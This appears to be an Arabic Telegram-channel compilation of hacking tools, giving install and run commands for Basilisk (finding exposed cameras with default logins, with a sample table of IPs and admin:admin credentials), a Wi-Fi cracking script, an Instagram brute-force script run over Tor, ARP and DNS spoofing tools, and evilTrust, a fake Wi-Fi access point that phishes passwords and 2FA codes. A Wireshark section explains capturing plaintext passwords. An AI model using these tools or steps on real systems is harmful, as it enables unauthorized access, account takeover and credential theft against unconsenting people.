أدوات الاختراق HACKING TOOLS

اداة Basilisk هي أداة تستخدم محرك البحث الأمني Shodan وبروتوكول RTSP للعثور على كاميرات مراقبة معرضة للاختراق في جميع أنحاء العالم. يتم استخدامها لتحليل أجهزة الكاميرات غير الآمنة المتصلة بالإنترنت ❔🟢. 📱 طريقة التثبيت 🥏⬇️:

git clone https://github.com/spicesouls/basilisk

cd basilisk && pip install -r requirements.txt

chmod +x basilisk.py

📃 كيفية الاستخدام: لتشغيل الأداة، استخدم الأمر التالي مع مفتاح الـ API الخاص بـ Shodan وعدد المواضيع (Threads) المطلوب:

./basilisk.py [SHODAN API KEY] -t [THREAD COUNT]

النتائج 💻🟥: عند تشغيل الأداة، تعرض النتائج في شكل جدول يحتوي على معلومات عن الكاميرات الضعيفة التي تم العثور عليها، مثل عنوان الـ IP، بيانات تسجيل الدخول، الدولة، والمدينة. مثال 🌪🤖:

+----------------+----------------+---------+---------+  
|       IP       | المصادقة       |  الدولة  |  المدينة  |  
+----------------+----------------+---------+---------+  
| 103.242.236.2  |  admin:admin   |  الهند  | تشيناي   |  
| 179.155.126.29 |  admin:admin   |  البرازيل | أوبرابا  |  
+----------------+----------------+---------+---------+

📏 المهام القادمة:

إضافة اكتشاف Honeypot: لتجنب الفخاخ الإلكترونية. إضافة خاصية "Timeout": لتسريع عملية فحص الكاميرات من خلال تحديد مهلة للفحص. إضافة خيار لاستخدام البروكسيات: لدعم إخفاء الهوية وتجاوز الحظر. إضافة دعم لـ Tor: لتحسين الخصوصية من خلال الشبكة المجهولة.

اداة لشن الهجوم على شبكة الوافي حتى يتم اختراقها#⃣

ملحوظة: الأداة تعمل بدون انترنت. عليك تشغيل الانترنت لأول مرة حتى تتمكن من تحميله على جهازك وبعدها سيعمل بدون انترنت. عليك استخدام الأمرين الأخيرين لتشغيله على جهازك بدون انترنت بعد تحميله لأول مرة من خلال الانترنت..

$- apt update && apt upgrade $- apt install python $- apt install git $- apt update $- pkg install python3 $- pkg install python $- pip install psutil $- pip install subprocess $- pip install random $- pip install rich $- pip install time $- pkg install git $- git clone https://github.com/AlmunharifHamoudi/Wifi-hack.git $- cd Wifi-hack $-  python port.py

👨‍💻👨‍💻 كورسات مجانية على. udemy للأمن السيبراني Cyber Security 🌀 دورة تعلم الهجوم الوسيط MITMوالحماية منه  🔗https://www.udemy.com/course/mitm-tqa/ 🌀 تدريب عملي مكثف على اختبار الاختراق - TryHackMe & HTB 🔗https://www.udemy.com/course/pentesting-saifmakharzeh/ 🌀NMAP اساسيات - NMAP Essentials 🔗https://www.udemy.com/course/nmap-for-beginners/ 🌀 الشبكات كما يراها المخترقين 🔗https://www.udemy.com/course/networkhacking/ 🌀الامن السيبراني 🔗https://www.udemy.com/course/cyber-security-a/ 🌀 تعلم الهاكر الأخلاقي واختبار الإختراق 🔗https://www.udemy.com/course/arabic-hacking/ . 🌀 الطريق الى أمن المعلومات 🔗https://www.udemy.com/course/information-security-way/ 🌀 أساسيات حماية البرمجيات - Software Security Fundamentals 🔗https://www.udemy.com/course/software-security-fundamentals/ 🌀دورة اختبار اختراق تطبيقات الويب 🔗https://www.udemy.com/course/web_application_huthaifa/ 🌀دورة اختبار الاختراق بأستخدام توزيعه كالي لينكس 🔗https://www.udemy.com/course/yoxnhmgs/ 🌀 Azure Security AZ-500 Part1 🔗https://www.udemy.com/course/az-500-ar/ 🌀Azure Security AZ-500 -AZ-104-AZ-305 PartII 🔗https://www.udemy.com/course/az500-part-ii/ 🌀 تعلم الكالي لينكس مجانا 🔗https://www.udemy.com/course/kalilinuxarabic/ 🌀 كورس تأمين واسترجاع حسابات التواصل الاجتماعي 🔗https://www.udemy.com/course/lxiqwcev/ 🔷 شارك المنشور و القناة مع اصدقائك ليستفيد الجميع : https://t.me/CYS_2 #أمن_المعلومات #أمن_سيبراني #الأمن_السيبراني #cybersecurity #cyber_security

🔷🔷🔷 🌼 كل البوتات التعليمية التي يحتاجها طلاب الجامعات : 1.بوت بحوثات التخرج: https://t.me/CYS_2/114 2.بوت عمل تقارير : https://t.me/CYS_2/115 3. بوت عمل عروض تقديمية : https://t.me/CYS_2/116 4.بوت المصادر المعتمدة: https://t.me/CYS_2/117 5. بوت ترجمة الملفات وكتابة اسئلة MCQ: https://t.me/CYS_2/118 6.بوت الذكاء الاصطناعي: https://t.me/CYS_2/119 7.بوت حل اسئلة الرياضيات: https://t.me/CYS_2/120 8.بوت حل الأسئلة والواجبات: https://t.me/CYS_2/121 9.بوت تحويل الصور الى pdf: https://t.me/CYS_2/122 10.تحويل الصوت الى نص: https://t.me/CYS_2/123 11.بوت استخراج النص من الصورة: https://t.me/CYS_2/124 12.بوت تحويل النص الى pdf : https://t.me/CYS_2/125 13.بوت كتابة اسئلة اختبارات MCQ و صح وخطأ: https://t.me/CYS_2/127 14. بوت تقسيم الملفات الكبيرة : https://t.me/CYS_2/128 🌺 بالتوفيق للجميع 🌺

داة Wireshark هي واحدة من أشهر الأدوات المستخدمة لتحليل الشبكات والتقاط الحزم (Packets) التي تمر عبر الشبكة. وهي تُستخدم لمراقبة حركة المرور على الشبكة، تتبع الأخطاء، وفحص البيانات المتدفقة عبر الشبكة. من خلال هذه الأداة، يمكن لمختبر الأمان أو مديري الشبكات فهم كيفية انتقال البيانات بين الأجهزة على الشبكة واكتشاف المشكلات الأمنية أو الثغرات 🎭👻. ما هي Wireshark 🤔❔ ال Wireshark هي أداة التقاط الحزم (Packet Sniffer)، والتي تمكنك من التقاط وتحليل كل حركة المرور التي تمر عبر الشبكة، بما في ذلك البروتوكولات، الحزم، والمحادثات. هذه الأداة تُستخدم من قِبل المتخصصين في الأمان، مهندسي الشبكات، وأحيانًا المخترقين الأخلاقيين لتحليل حركة البيانات واكتشاف الثغرات. كيف تعمل Wireshark 🤔❔؟ ال Wireshark تتيح لك مراقبة حركة المرور بين الأجهزة المتصلة بالشبكة. عند تشغيل Wireshark على جهاز، فإنه يقوم بالتقاط كل الحزم التي تمر من وإلى هذا الجهاز أو الشبكة التي يتصل بها. يمكنك بعد ذلك تحليل هذه الحزم للبحث عن معلومات محددة، مثل كلمات المرور، بيانات الحسابات، والمزيد. الخطوات الأساسية لاستخدام Wireshark ❔🎃: 1. تنزيل وتثبيت Wireshark ❤️🎃: يمكنك تنزيل Wireshark من الموقع الرسمي وتثبيته على جهازك. Wireshark متاح لأنظمة تشغيل متعددة، بما في ذلك Windows و macOS و Linux. 2. اختيار واجهة الشبكة (Network Interface)✨🤖: بعد تشغيل Wireshark، يجب عليك تحديد واجهة الشبكة (Network Interface) التي تريد مراقبتها. واجهات الشبكة قد تشمل Ethernet أو Wi-Fi بناءً على الاتصال الذي تستخدمه. 3. بدء التقاط الحزم (Capture Packets) 🤩🌪: بمجرد اختيار واجهة الشبكة، اضغط على زر "Start Capture" لبدء عملية التقاط الحزم. Wireshark سيبدأ بتسجيل كل الحزم المارة عبر تلك الواجهة. 4. تحليل الحزم (Analyze Packets): بعد التقاط عدد كافٍ من الحزم، يمكنك الضغط على زر "Stop" وتحليل البيانات التي تم التقاطها. Wireshark يُظهر لك كل الحزم ويُتيح لك تصفيتها بناءً على معايير متعددة مثل بروتوكول معين (مثل HTTP، TCP، DNS) أو عنوان IP محدد. 5. استخدام الفلاتر (Filters) 🖥️🏆: ال Wireshark يحتوي على نظام تصفية قوي يُتيح لك التركيز على الحزم التي تهمك. على سبيل المثال، يمكنك استخدام الفلاتر لعرض حزم من بروتوكول معين مثل:

http: لمراقبة حركة مرور بروتوكول HTTP (مفيد لمراقبة طلبات الويب). tcp.port == 80: لعرض كل الحزم المارة عبر المنفذ 80 (منفذ HTTP). ip.addr == 192.168.1.10: لعرض الحزم المتعلقة بجهاز معين باستخدام عنوان IP.

6. استخراج البيانات الحساسة ☢️📱: في حال تم نقل بيانات حساسة (مثل كلمات المرور) غير مشفرة عبر الشبكة، يمكن رؤيتها في Wireshark. على سبيل المثال، إذا كانت بيانات تسجيل الدخول تنتقل عبر بروتوكول HTTP غير المشفر، قد تتمكن من التقاطها وتحليلها من الحزم التي تم التقاطها. مراقبة كلمات المرور والبيانات الحساسة 😎❤️: 1. مراقبة البروتوكولات غير المشفرة 😡🔥:

HTTP: عند استخدام موقع ويب غير آمن يعتمد على بروتوكول HTTP (غير مشفر)، يتم نقل البيانات مثل أسماء المستخدمين وكلمات المرور كنص عادي يمكن رؤيته بسهولة في Wireshark. FTP: عند نقل الملفات عبر بروتوكول FTP (غير مشفر)، يمكن الحصول على بيانات تسجيل الدخول بسهولة. Telnet: بروتوكول غير آمن لنقل الأوامر عبر الشبكة. أي كلمات مرور أو بيانات تُرسل عبر Telnet يمكن رؤيتها بسهولة.

2. استخدام الفلاتر لالتقاط بيانات محددة ™️📶:

Filter: http.request.method == "POST": استخدم هذا الفلتر لعرض الطلبات من نوع POST، التي تُستخدم عادةً لإرسال بيانات النماذج (Form Data)، بما في ذلك بيانات تسجيل الدخول. Filter: ftp: لعرض الحزم المتعلقة ببروتوكول FTP.

3. البحث عن كلمات المرور ☢️🖥: ابحث في الحزم التي تم التقاطها عن بيانات نصية تحمل كلمات مرور أو بيانات تسجيل الدخول. في الحزم غير المشفرة، قد تجد كلمات المرور في نص واضح. نقاط هامة حول مراقبة الشبكات والحماية 🎭🖥: 1. الشبكات المشفرة (HTTPS) 🎭🖥: إذا كانت المواقع تستخدم HTTPS (بروتوكول HTTP الآمن)، فإن البيانات تنتقل عبر اتصال مشفر باستخدام SSL/TLS. في هذه الحالة، لن تتمكن من رؤية محتويات الطلبات مثل كلمات المرور أو بيانات تسجيل الدخول. استخدام أدوات مثل Wireshark لالتقاط البيانات من شبكات مشفرة هو أمر صعب وغير فعال بسبب التشفير المتقدم. 2. تشفير حركة المرور 🎭⚙️: ال Wi-Fi محمية: إذا كانت الشبكة اللاسلكية محمية بتشفير WPA2 أو أفضل، فإن حركة المرور عبر الشبكة تكون مشفرة، مما يجعل من الصعب تحليل البيانات دون الحصول على مفتاح التشفير. ال SSH وVPN: إذا كان المستخدم يستخدم بروتوكول SSH أو VPN، فسيكون من الصعب أو المستحيل فك تشفير البيانات المارة باستخدام Wireshark فقط.

اداة لشن الهجوم على شبكة الوافي حتى يتم اختراقها#⃣

ملحوظة: الأداة تعمل بدون انترنت. عليك تشغيل الانترنت لأول مرة حتى تتمكن من تحميله على جهازك وبعدها سيعمل بدون انترنت. عليك استخدام الأمرين الأخيرين لتشغيله على جهازك بدون انترنت بعد تحميله لأول مرة من خلال الانترنت..

$- apt update && apt upgrade $- apt install python $- apt install git $- apt update $- pkg install python3 $- pkg install python $- pip install psutil $- pip install subprocess $- pip install random $- pip install rich $- pip install time $- pkg install git $- git clone https://github.com/AlmunharifHamoudi/Wifi-hack.git $- cd Wifi-hack $-  python port.py

⚠️⚠️ Dnschef – أداة قوية لهجمات DNS Spoofing! 😀 Dnschef هي أداة اختراق مفتوحة المصدر تُستخدم لتزييف استجابات DNS وتحويل حركة المرور إلى أي عنوان IP تريده. تعتبر الأداة فعّالة جدًا في استغلال الثغرات التي تعتمد على الـ DNS وخداع الأجهزة المتصلة بالشبكة. 📱 مميزات الأداة: 📌 تنفيذ هجمات DNS Spoofing لتوجيه الهدف إلى مواقع مزورة أو جهازك. 🕯🌐 القدرة على تحديد أنواع معينة من السجلات مثل A، AAAA، MX، وغيرها. ⚙️ أداة خفيفة وسهلة الاستخدام، مثالية لاختبارات اختراق الشبكات. 📥 طريقة التثبيت والاستخدام: git clone https://github.com/iphelix/dnschef.git && cd dnschef sudo python dnschef.py --fakeip 192.168.1.100 💡 استخدامات Dnschef: 🖥 تزييف استجابات DNS: خداع الأجهزة المتصلة بالشبكة لجعلها تتصل بعنوان IP مزيف مثل صفحات تسجيل دخول وهمية. 🛡 اختبارات الأمان: فحص مدى تحمل الأنظمة لهجمات DNS وخداع الأجهزة. 🧪 اختبار الثغرات: مثالية لاختبار اختراقات الشبكات والتحقق من ضعف الاستجابات في نظام DNS.

اداة IG-Hack هو سكربت يعتمد على لغة Bash، صُمم خصيصًا لاختبار قوة كلمات مرور حسابات إنستجرام باستخدام هجمات Brute Force من خلال تطبيق Termux. هذه الأداة تعمل على أجهزة الأندرويد سواء كانت Rooted أو Non-Rooted 🦅📷⚡️. 🫥طريقة تثبيت الاداة 👔🔴. 1️⃣. تحديث الحزم 💻♾:

$ apt-get update -y
$ apt-get upgrade -y

2️⃣.تثبيت Python وGit ⌨️🟥:

$ pkg install python -y
$ pkg install python2 -y
$ pkg install git -y 

3️⃣. تثبيت مكتبة lolcat 🐧☺️:

$ pip install lolcat

4️⃣.تحميل الاداة من GitHub 🛰☺️:

$ git clone https://github.com/dark-player/igbrute

5️⃣. الدخول إلى مجلد الاداة 🥷💻:

$ cd igbrute

6️⃣. تشغيل الإعدادات 🥷⚡️:

$ bash setup

7️⃣. تشغيل الأداة ❔💠:

$ bash igbrute.sh

🤔ملاحظات هامة⚠️🔥:

تحتاج إلى اتصال بالإنترنت لمواصلة العملية. يمكنك اختيار أي خيار عن طريق النقر على لوحة المفاتيح. تنبيه: لا تقم بحذف أي سكربتات موجودة في ملفات النظام الأساسية.

🤔ملاحظة إضافية ❔⚡️: 🔴قبل بدء الهجوم، قم بفتح جلسة جديدة وتشغيل TOR عبر الأمر ✅✅:

$ tor

💠💠💠💠💠💠💠💠💠

الأداة NextGen-Spoofer هي أداة مكتوبة بلغة Python تستخدم لتنفيذ هجمات ARP Spoofing و DNS Spoofing. هذه الأداة تسمح للمستخدم بمحاكاة الهجمات الإلكترونية التي تستهدف تغيير مسار البيانات على الشبكة 💻👴. الأداة تُستخدم لاختراق الشبكات المحلية عبر هجمات ARP و DNS، مما يسمح للمهاجم بالتحكم في تدفق البيانات أو توجيه المستخدمين إلى مواقع خبيثة 🥷😷. الوظائف الأساسية للأداة 🔮⚡️: 1️⃣. ال ARP Spoofing 💀🐧:

هجوم ARP Spoofing هو عملية تنتحل فيها الأداة عنوان IP آخر على الشبكة، مما يجعل الأجهزة الموجودة على الشبكة ترسل البيانات إلى المهاجم بدلًا من وجهتها الأصلية. يمكن استهداف جهاز محدد أو الشبكة بالكامل. أوامر CLI: استهداف جهاز محدد باستخدام: python arp_spoof_nxgenspf.py -s استهداف الشبكة بالكامل باستخدام: python arp_spoof_nxgenspf.py -a

2️⃣.ال DNS Spoofing 🛰🖥:

هجوم DNS Spoofing هو تغيير استجابة خوادم DNS لتوجيه المستخدمين إلى خادم ضار (مثلاً عند محاولة الوصول إلى موقع مثل google.com، يتم توجيههم إلى خادم المهاجم). يجب تشغيل هجوم ARP Spoofing أولاً ليعمل هجوم DNS Spoofing. أوامر CLI: استبدال DNS لموقع معين مثل google.com لتوجيهه إلى خادم ضار باستخدام: python dns_spoof_nxgenspf.py -d google.com -s $evil_server_ip

⬅️ مميزات الأداة ❔⚡️: تحتوي الأداة على واجهة مستخدم رسومية (GUI) وواجهة سطر الأوامر CLI، ويمكن استخدامها بصلاحيات المستخدم العادي أو الجذر (root) 👩‍💻🖥. مصممة للعمل على توزيعات Debian أو Kali Linux 🐧⚡️. 🔻تثبيت الاداه👩‍💻📥: 1️⃣. تحديث الحزم وتثبيت المتطلبات الأساسية 🐧#⃣:

apt-get update
apt-get install build-essential python-dev libnetfilter-queue-dev python3-tk

2️⃣. تحميل الاداة وتثبيت الاساسيات#⃣#⃣:

git clone https://github.com/saladandonionrings/NextGen-Spoofer.git
cd NextGen-Spoofer
pip install -r requirements.txt

💠💠💠💠💠💠💠💠💠

أداة evilTrust تستخدم هذه الاداة لتنفيذ هجمات Rogue AP، وهي نوع من الهجمات التي يقوم فيها المهاجم بإنشاء نقطة وصول وهمية (WiFi) تبدو وكأنها نقطة وصول شرعية. الهدف من الأداة هو جذب الضحايا للاتصال بنقطة الوصول المزيفة، ومن ثم خداعهم للحصول على بياناتهم مثل كلمات المرور أو معلومات الدخول إلى حساباتهم 😈⚡️. 🔵وظيفة الأداة بالتفصيل 🤔❓:

1. إنشاء نقطة وصول مزيفة (Rogue AP): الأداة تنشئ شبكة WiFi وهمية. يمكن للمهاجم تسمية هذه الشبكة بأي اسم يجذب الضحايا (مثل أسماء الشبكات المعروفة). 2. اختيار قالب هجوم: الأداة تتيح للمهاجم اختيار قالب (صفحة مزيفة) يتم عرضها على الضحية بعد اتصالها بالشبكة المزيفة. هذه القوالب قد تكون صفحة تسجيل دخول مزيفة لشبكات اجتماعية أو خدمات أخرى. 3. جمع بيانات الاعتماد: عندما يقوم الضحية بمحاولة الدخول إلى شبكة الـ WiFi المزيفة، يتم توجيهه إلى صفحة تسجيل دخول تطلب منه إدخال بيانات الاعتماد. عند إدخالها، يحصل المهاجم على هذه المعلومات. 4. دعم المصادقة الثنائية (2FA): إذا كانت الضحية تستخدم المصادقة الثنائية، ستقوم الأداة بمحاولة الحصول على رمز التأكيد من الضحية أيضًا بعد الحصول على كلمة المرور. 5. إمكانية التحكم عن بعد: لا يحتاج المهاجم إلى الاتصال بالشبكة سلكيًا، مما يسمح له بتنفيذ الهجوم من أي مكان وفي أي وقت.

باختصار، الأداة تستخدم لخداع الأشخاص عبر شبكة WiFi مزيفة لجمع بيانات اعتماد الدخول إلى حساباتهم على الإنترنت، سواء كانت حساب 🇦🇿😷. ♾ خطوات التثبيت ⬇️🟥: 1️⃣. تحديث النظام: تأكد من أن نظامك محدث عن طريق تنفيذ الأوامر التالية:

sudo apt update && sudo apt upgrade

2️⃣. تنزيل الأداة من GitHub: استخدم git لتنزيل الأداة إلى جهازك.

git clone https://github.com/s4vitar/evilTrust.git

3️⃣. الانتقال إلى مجلد الأداة:

cd evilTrust

4️⃣. إعطاء الأذونات اللازمة للملفات: قد تحتاج إلى إعطاء بعض الملفات الأذونات اللازمة لتشغيلها.

chmod +x evilTrust.sh

5️⃣. تثبيت المتطلبات: إذا كانت الأداة تتطلب مكتبات Python أو أدوات أخرى، قد تجد ملفًا يسمى requirements.txt أو setup.sh. قم بتشغيله لتثبيت المتطلبات:

sudo apt install -y python3 python3-pip
pip3 install -r requirements.txt

6️⃣. تشغيل الأداة: بعد التثبيت، يمكنك تشغيل الأداة باستخدام:

sudo ./evilTrust.sh

⚠️ ملاحظة 🤔⚡️:

تأكد من تشغيل الأداة بحقوق المسؤول (root) لأنك تحتاج إلى التحكم في بطاقة الشبكة، وهو ما يتطلب صلاحيات عالية. تأكد من أن لديك بطاقة WiFi تدعم وضع المراقبة (Monitor Mode).

قد تحتاج إلى تثبيت أدوات إضافية مثل aircrack-ng إذا لم تكن مثبتة على نظامك 💀‼️:

sudo apt install aircrack-ng

🔗ستجد شرح الاداة هنا: اضغط هنا 🔺 💠💠💠💠💠💠💠💠💠